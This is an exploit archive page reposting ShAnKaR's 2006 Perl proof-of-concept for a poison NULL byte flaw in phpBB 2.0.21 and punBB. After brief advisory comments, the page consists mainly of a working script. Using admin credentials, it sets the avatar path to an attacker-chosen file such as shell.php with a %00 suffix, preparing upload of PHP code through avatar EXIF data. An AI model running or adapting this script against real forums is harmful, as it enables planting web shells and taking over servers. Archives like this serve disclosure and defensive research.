首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit
来源:http://www.security.nnov.ru/Odocument221.html 作者:ShAnKaR 发布时间:2006-09-12  

#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
#
# Poison NULL byte vulnerability for perl CGI applications was described
# in [1]. ShAnKaR noted, that same vulnerability also affects different
# PHP applications. An example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability can be used to upload or replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In case of phpBB and punBB vulnerability can be exploited by changing
# location of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mercur Mailserver 5.0 SP3 (IMA
·MS Internet Explorer COM Objec
·MiniPort@l <= 0.1.5 beta (s
·X11R6 <= 6.4 XKEYBOARD Loca
·openmovieeditor <= 0.0.2006
·Limbo CMS <= 1.0.4.2L (com_
·Socketwiz Bookmarks <= 2.0
·PHP DocWriter <= 0.3 (scrip
·Multithreaded TFTP <= 1.1 (
·Site@School <= 2.4.02 Advis
·CCleague Pro <= 1.0.1RC1 (C
·Zix Forum <= 1.12 (RepId) R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved